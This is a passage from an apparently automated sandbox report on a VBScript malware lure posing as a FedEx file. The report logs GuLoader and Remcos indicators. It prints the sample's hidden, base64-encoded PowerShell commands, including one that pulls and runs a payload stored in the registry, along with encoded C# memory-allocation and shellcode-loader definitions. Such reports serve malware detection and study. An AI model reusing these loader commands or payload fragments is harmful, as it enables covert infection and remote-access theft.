AoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABDAHIAZQBhAHQAZQBGAGkAbABlAEEAKABzAHQAcgBpAG4AZwAgAFAAcwBlAHUANAAsAHUAaQBuAHQAIABsAGkAbgBqAGUAcgAsAGkAbgB0ACAAUwBUAFIAWQAsAGkAbgB0ACAAUwBjAHIAaQBwAHQAZQByAGUAMAAsAGkAbgB0ACAAUwBFAEUAUgBOAEUALABpAG4AdAAgAFAAYQBjAGkAZgBpAGMAZQByADcALABpAG4AdAAgAEEAZAB2AGkAcwBlAG4AcwA5ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABSAGUAYQBkAEYAaQBsAGUAKABpAG4AdAAgAEEAVQBUAE8AQQBDAFQASQBWAEUAMAAsAHUAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADEALABJAG4AdABQAHQAcgAgAEEAVQBUAE8AQQBDAFQASQBWAEUAMgAsAHIAZQBmACAASQBuAHQAMwAyACAAQQBVAFQATwBBAEMAVABJAFYARQAzACwAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADQAKQA7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAQwBhAGwAbABXAGkAbgBkAG8AdwBQAHIAbwBjAFcAKABJAG4AdABQAHQAcgAgAEEAVQBUAE8AQQBDAFQASQBWAEUANQAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQA2ACwAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADcALABpAG4AdAAgAEEAVQBUAE8AQQBDAFQASQBWAEUAOAAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQA5ACkAOwANAAoAfQANAAoAIgBAAA0ACgAjAHIAZQBmAHIAIABDAGEAbgBjAGUAcgBpAG4AYwBvACAATABpAG4AZwB1AGEAdAB1AGwAIABoAGUAYQBsAGUAIABMAEUAVgBJAEcAQQBUACAATABJAEcASwBJAFMAVABFACAAcwB2AG8AdgBsACAAcABsAGEAdABvAG4AaJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\tm43worv.cmdlineJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Program Files (x86)\Internet Explorer\ieinstal.exe C:\Program Files (x86)\internet explorer\ieinstal.exeJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESD568.tmp" "c:\Users\user\AppData\Local\Temp\CSCF0319BB5C3414E72AB519E7A67BBFBFC.TMP"Jump to behavior
            Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeProcess created: C:\Program Files\internet explorer\iexplore.exe c:\program files\internet explorer\iexplore.exeJump to behavior
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe c:\windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden $Retrocogni8=(Get-ItemProperty -Path 'HKCU:\SOFTWARE\AppDataLow\').Rickey;powershell.exe -windowstyle hidden -encodedcommand($Retrocogni8)Jump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -encodedcommand IwBhAGcAcgB5ACAAUwBjAHIAaQB2AGUAbgAgAHMAeQBzAHQAZQBtAGsAbwAgAFQAcgBlAGQAagBlADUAIABDAGgAcgBvAG0AaQA4ACAAQgBJAEIATAAgAE8AdgBlAHIAcwB0AHIAZQA3ACAAcAByAGUAYwAgAEYAbwByAGwAaQBnAHMAaQBuADIAIABCAGUAbgBlAGYAaQB0ACAAQQBwAG8AdABoAGUAbwBzAGkAegAgAHUAZABlAHQAaQBsACAATABPAE8AUwBFACAAQgByAG4AZQB2AGUAOQAgAFQAbwBuAHMAaQAyACAAVAByAG8AcABpAHMAIABQAGwAZQB1AHIAbwBsAGkANAAgAGIAbABrAGsAIABDAHkAcwB0AGkAYwBlACAAVQBuAGQAZQByAHIAZQBwAG8AcgAxACAAUAByAG8AYwB1AGwAYwBhAHQAIABQAEEAUwBUAE8AUgAgAFMAYQBuAGcAIABjAG8AbQBiAGEAcgBvAG4AZgBvACAAbwBtAHAAcgAgAEQAYQBtAG4AZQBkADgAIABOAEUAUABIACAARgByAHUAaQB0AGkAdgBlAHIAZQAgAEQARQBGAEEASQBUAEkAUwAgAE0AaQBzAGsAZQBuAGQAZQA1ACAADQAKAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUgB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpAGMAZQBzADsADQAKAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABjAGwAYQBzAHMAIABTAGMAcgBpAHAAdABlAHIAZQAxAA0ACgB7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBuAHQAZABsAGwALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABpAG4AdAAgAE4AdABBAGwAbABvAGMAYQB0AGUAVgBpAHIAdAB1AGEAbABNAGUAbQBvAHIAeQAoAGkAbgB0ACAAUwBjAHIAaQBwAHQAZQByAGUANgAsAHIAZQBmACAASQBuAHQAMwAyACAAVABoAGUAbwByAGkAcwBlAHIAMgAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQAsAHIAZQBmACAASQBuAHQAMwAyACAAUwBjAHIAaQBwAHQAZQByAGUALABpAG4AdAAgAEwAZQBqAG4AaQA2ACwAaQBuAHQAIABTAGMAcgBpAHAAdABlAHIAZQA3ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABDAHIAZQBhAHQAZQBGAGkAbABlAEEAKABzAHQAcgBpAG4AZwAgAFAAcwBlAHUANAAsAHUAaQBuAHQAIABsAGkAbgBqAGUAcgAsAGkAbgB0ACAAUwBUAFIAWQAsAGkAbgB0ACAAUwBjAHIAaQBwAHQAZQByAGUAMAAsAGkAbgB0ACAAUwBFAEUAUgBOAEUALABpAG4AdAAgAFAAYQBjAGkAZgBpAGMAZQByADcALABpAG4AdAAgAEEAZAB2AGkAcwBlAG4AcwA5ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABSAGUAYQBkAEYAaQBsAGUAKABpAG4AdAAgAEEAVQBUAE8AQQBDAFQASQBWAEUAMAAsAHUAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADEALABJAG4AdABQAHQAcgAgAEEAVQBUAE8AQQBDAFQASQBWAEUAMgAsAHIAZQBmACAASQBuAHQAMwAyACAAQQBVAFQATwBBAEMAVABJAFYARQAzACwAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADQAKQA7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAQwBhAGwAbABXAGkAbgBkAG8AdwBQAHIAbwBjAFcAKABJAG4AdABQAHQAcgAgAEEAVQBUAE8AQQBDAFQASQBWAEUANQAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQA2ACwAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADcALABpAG4AdAAgAEEAVQBUAE8AQQBDAFQASQBWAEUAOAAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQA5ACkAOwANAAoAfQANAAoAIgBAAA0ACgAjAHIAZQBmAHIAIABDAGEAbgBjAGUAcgBpAG4AYwBvACAATABpAG4AZwB1AGEAdAB1AGwAIABoAGUAYQBsAGUAIABMAEUAVgBJAEcAQQBUACAATABJAEcASwBJAFMAVABFACAAcwB2AG8AdgBsACJump to behavior
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe c:\windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden $Retrocogni8=(Get-ItemProperty -Path 'HKCU:\SOFTWARE\AppDataLow\').Rickey;powershell.exe -windowstyle hidden -encodedcommand($Retrocogni8)Jump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -encodedcommand IwBhAGcAcgB5ACAAUwBjAHIAaQB2AGUAbgAgAHMAeQBzAHQAZQBtAGsAbwAgAFQAcgBlAGQAagBlADUAIABDAGgAcgBvAG0AaQA4ACAAQgBJAEIATAAgAE8AdgBlAHIAcwB0AHIAZQA3ACAAcAByAGUAYwAgAEYAbwByAGwAaQBnAHMAaQBuADIAIABCAGUAbgBlAGYAaQB0ACAAQQBwAG8AdABoAGUAbwBzAGkAegAgAHUAZABlAHQAaQBsACAATABPAE8AUwBFACAAQgByAG4AZQB2AGUAOQAgAFQAbwBuAHMAaQAyACAAVAByAG8AcABpAHMAIABQAGwAZQB1AHIAbwBsAGkANAAgAGIAbABrAGsAIABDAHkAcwB0AGkAYwBlACAAVQBuAGQAZQByAHIAZQBwAG8AcgAxACAAUAByAG8AYwB1AGwAYwBhAHQAIABQAEEAUwBUAE8AUgAgAFMAYQBuAGcAIABjAG8AbQBiAGEAcgBvAG4AZgBvACAAbwBtAHAAcgAgAEQAYQBtAG4AZQBkADgAIABOAEUAUABIACAARgByAHUAaQB0AGkAdgBlAHIAZQAgAEQARQBGAEEASQBUAEkAUwAgAE0AaQBzAGsAZQBuAGQAZQA1ACAADQAKAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUgB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpAGMAZQBzADsADQAKAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABjAGwAYQBzAHMAIABTAGMAcgBpAHAAdABlAHIAZQAxAA0ACgB7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBuAHQAZABsAGwALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABpAG4AdAAgAE4AdABBAGwAbABvAGMAYQB0AGUAVgBpAHIAdAB1AGEAbABNAGUAbQBvAHIAeQAoAGkAbgB0ACAAUwBjAHIAaQBwAHQAZQByAGUANgAsAHIAZQBmACAASQBuAHQAMwAyACAAVABoAGUAbwByAGkAcwBlAHIAMgAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQAsAHIAZQBmACAASQBuAHQAMwAyACAAUwBjAHIAaQBwAHQAZQByAGUALABpAG4AdAAgAEwAZQBqAG4AaQA2ACwAaQBuAHQAIABTAGMAcgBpAHAAdABlAHIAZQA3ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABDAHIAZQBhAHQAZQBGAGkAbABlAEEAKABzAHQAcgBpAG4AZwAgAFAAcwBlAHUANAAsAHUAaQBuAHQAIABsAGkAbgBqAGUAcgAsAGkAbgB0ACAAUwBUAFIAWQAsAGkAbgB0ACAAUwBjAHIAaQBwAHQAZQByAGUAMAAsAGkAbgB0ACAAUwBFAEUAUgBOAEUALABpAG4AdAAgAFAAYQBjAGkAZgBpAGMAZQByADcALABpAG4AdAAgAEEAZAB2AGkAcwBlAG4AcwA5ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABSAGUAYQBkAEYAaQBsAGUAKABpAG4AdAAgAEEAVQBUAE8AQQBDAFQASQBWAEUAMAAsAHUAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADEALABJAG4AdABQAHQAcgAgAEEAVQBUAE8AQQBDAFQASQBWAEUAMgAsAHIAZQBmACAASQBuAHQAMwAyACAAQQBVAFQATwBBAEMAVABJAFYARQAzACwAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADQAKQA7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAQwBhAGwAbABXAGkAbgBkAG8AdwBQAHIAbwBjAFcAKABJAG4AdABQAHQAcgAgAEEAVQBUAE8AQQBDAFQASQBWAEUANQAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQA2ACwAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADcALABpAG4AdAAgAEEAVQBUAE8AQQBDAFQASQBWAEUAOAAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQA5ACkAOwANAAoAfQANAAoAIgBAAA0ACgAjAHIAZQBmAHIAIABDAGEAbgBjAGUAcgBpAG4AYwBvACAATABpAG4AZwB1AGEAdAB1AGwAIABoAGUAYQBsAGUAIABMAEUAVgBJAEcAQQBUACAATABJAEcASwBJAFMAVABFACAAcwB2AG8AdgBsACJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\yy0zjl34.cmdline
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESADA2.tmp" "c:\Users\user\AppData\Local\Temp\CSCB8D22C72555343A48341CA7311A8A12.TMP"
            Source: C:\Windows\System32\wscript.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B54F3741-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32Jump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\Documents\20220121Jump to behavior
            Source: C:\Windows\System32\wscript.exeFile created: C:\Users\user\AppData\Local\Temp\Grund.datJump to behavior
            Source: classification engineClassification label: mal100.troj.spyw.evad.winVBS@28/33@4/2
            Source: C:\Windows\System32\wscript.exeFile read: C:\Users\user\Desktop\desktop.iniJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dllJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeSection loaded: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorlib.dllJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeSection loaded: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorlib.dllJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeSection loaded: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorlib.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeSection loaded: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorlib.dll
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeSection loaded: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorlib.dll
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeSection loaded: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorlib.dll
            Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6948:120:WilError_01
            Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4020:120:WilError_01
            Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeMutant created: \Sessions\1\BaseNamedObjects\Remcos_Mutex_Inj
            Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeMutant created: \Sessions\1\BaseNamedObjects\Remcos-IXYB2Q
            Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3120:120:WilError_01
            Source: unknownProcess created: C:\Windows\System32\wscript.exe C:\Windows\System32\wscript.exe "C:\Users\user\Desktop\775578748333_FEDEX.vbs"
            Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
            Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
            Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dllJump to behavior
            Source: Binary string: ieinstal.pdbGCTL source: ieinstal.exe, 00000014.00000003.629851436.000000001EC11000.00000004.00000001.sdmp
            Source: Binary string: ieinstal.pdb source: ieinstal.exe, 00000014.00000003.629851436.000000001EC11000.00000004.00000001.sdmp
            Source: Binary string: Microsoft.PowerShell.Commands.Managementt.pdb| source: powershell.exe, 0000001D.00000002.888436421.0000000007768000.00000004.00000001.sdmp

            Data Obfuscation

            barindex
            VBScript performs obfuscated calls to suspicious functions
            Source: C:\Windows\System32\wscript.exeAnti Malware Scan Interface: ShellExecute("C:\Windows\SysWOW64\WindowsPowerShell\v", " -EncodedCommand "IwBhAGcAcgB5ACAAUwBjA", "", "", "0")
            Yara detected GuLoader
            Source: Yara matchFile source: 0000000C.00000002.642638940.0000000009300000.00000040.00000001.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000014.00000000.585462965.0000000000EF0000.00000040.00000001.sdmp, type: MEMORY
            Source: Yara matchFile source: 0000001C.00000002.900361754.00000000090B0000.00000040.00000010.sdmp, type: MEMORY
            Suspicious powershell command line found
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe c:\windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden $Retrocogni8=(Get-ItemProperty -Path 'HKCU:\SOFTWARE\AppDataLow\').Rickey;powershell.exe -windowstyle hidden -encodedcommand($Retrocogni8)
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe c:\windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden $Retrocogni8=(Get-ItemProperty -Path 'HKCU:\SOFTWARE\AppDataLow\').Rickey;powershell.exe -windowstyle hidden -encodedcommand($Retrocogni8)
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -encodedcommand IwBhAGcAcgB5ACAAUwBjAHIAaQB2AGUAbgAgAHMAeQBzAHQAZQBtAGsAbwAgAFQAcgBlAGQAagBlADUAIABDAGgAcgBvAG0AaQA4ACAAQgBJAEIATAAgAE8AdgBlAHIAcwB0AHIAZQA3ACAAcAByAGUAYwAgAEYAbwByAGwAaQBnAHMAaQBuADIAIABCAGUAbgBlAGYAaQB0ACAAQQBwAG8AdABoAGUAbwBzAGkAegAgAHUAZABlAHQAaQBsACAATABPAE8AUwBFACAAQgByAG4AZQB2AGUAOQAgAFQAbwBuAHMAaQAyACAAVAByAG8AcABpAHMAIABQAGwAZQB1AHIAbwBsAGkANAAgAGIAbABrAGsAIABDAHkAcwB0AGkAYwBlACAAVQBuAGQAZQByAHIAZQBwAG8AcgAxACAAUAByAG8AYwB1AGwAYwBhAHQAIABQAEEAUwBUAE8AUgAgAFMAYQBuAGcAIABjAG8AbQBiAGEAcgBvAG4AZgBvACAAbwBtAHAAcgAgAEQAYQBtAG4AZQBkADgAIABOAEUAUABIACAARgByAHUAaQB0AGkAdgBlAHIAZQAgAEQARQBGAEEASQBUAEkAUwAgAE0AaQBzAGsAZQBuAGQAZQA1ACAADQAKAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUgB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpAGMAZQBzADsADQAKAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABjAGwAYQBzAHMAIABTAGMAcgBpAHAAdABlAHIAZQAxAA0ACgB7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBuAHQAZABsAGwALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABpAG4AdAAgAE4AdABBAGwAbABvAGMAYQB0AGUAVgBpAHIAdAB1AGEAbABNAGUAbQBvAHIAeQAoAGkAbgB0ACAAUwBjAHIAaQBwAHQAZQByAGUANgAsAHIAZQBmACAASQBuAHQAMwAyACAAVABoAGUAbwByAGkAcwBlAHIAMgAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQAsAHIAZQBmACAASQBuAHQAMwAyACAAUwBjAHIAaQBwAHQAZQByAGUALABpAG4AdAAgAEwAZQBqAG4AaQA2ACwAaQBuAHQAIABTAGMAcgBpAHAAdABlAHIAZQA3ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABDAHIAZQBhAHQAZQBGAGkAbABlAEEAKABzAHQAcgBpAG4AZwAgAFAAcwBlAHUANAAsAHUAaQBuAHQAIABsAGkAbgBqAGUAcgAsAGkAbgB0ACAAUwBUAFIAWQAsAGkAbgB0ACAAUwBjAHIAaQBwAHQAZQByAGUAMAAsAGkAbgB0ACAAUwBFAEUAUgBOAEUALABpAG4AdAAgAFAAYQBjAGkAZgBpAGMAZQByADcALABpAG4AdAAgAEEAZAB2AGkAcwBlAG4AcwA5ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABSAGUAYQBkAEYAaQBsAGUAKABpAG4AdAAgAEEAVQBUAE8AQQBDAFQASQBWAEUAMAAsAHUAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADEALABJAG4AdABQAHQAcgAgAEEAVQBUAE8AQQBDAFQASQBWAEUAMgAsAHIAZQBmACAASQBuAHQAMwAyACAAQQBVAFQATwBBAEMAVABJAFYARQAzACwAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADQAKQA7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAQwBhAGwAbABXAGkAbgBkAG8AdwBQAHIAbwBjAFcAKABJAG4AdABQAHQAcgAgAEEAVQBUAE8AQQBDAFQASQBWAEUANQAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQA2ACwAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADcALABpAG4AdAAgAEEAVQBUAE8AQQBDAFQASQBWAEUAOAAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQA5ACkAOwANAAoAfQANAAoAIgBAAA0ACgAjAHIAZQBmAHIAIABDAGEAbgBjAGUAcgBpAG4AYwBvACAATABpAG4AZwB1AGEAdAB1AGwAIABoAGUAYQBsAGUAIABMAEUAVgBJAEcAQQBUACAATABJAEcASwBJAFMAVABFACAAcwB2AG8AdgBsAC
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -encodedcommand IwBhAGcAcgB5ACAAUwBjAHIAaQB2AGUAbgAgAHMAeQBzAHQAZQBtAGsAbwAgAFQAcgBlAGQAagBlADUAIABDAGgAcgBvAG0AaQA4ACAAQgBJAEIATAAgAE8AdgBlAHIAcwB0AHIAZQA3ACAAcAByAGUAYwAgAEYAbwByAGwAaQBnAHMAaQBuADIAIABCAGUAbgBlAGYAaQB0ACAAQQBwAG8AdABoAGUAbwBzAGkAegAgAHUAZABlAHQAaQBsACAATABPAE8AUwBFACAAQgByAG4AZQB2AGUAOQAgAFQAbwBuAHMAaQAyACAAVAByAG8AcABpAHMAIABQAGwAZQB1AHIAbwBsAGkANAAgAGIAbABrAGsAIABDAHkAcwB0AGkAYwBlACAAVQBuAGQAZQByAHIAZQBwAG8AcgAxACAAUAByAG8AYwB1AGwAYwBhAHQAIABQAEEAUwBUAE8AUgAgAFMAYQBuAGcAIABjAG8AbQBiAGEAcgBvAG4AZgBvACAAbwBtAHAAcgAgAEQAYQBtAG4AZQBkADgAIABOAEUAUABIACAARgByAHUAaQB0AGkAdgBlAHIAZQAgAEQARQBGAEEASQBUAEkAUwAgAE0AaQBzAGsAZQBuAGQAZQA1ACAADQAKAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUgB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpAGMAZQBzADsADQAKAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAG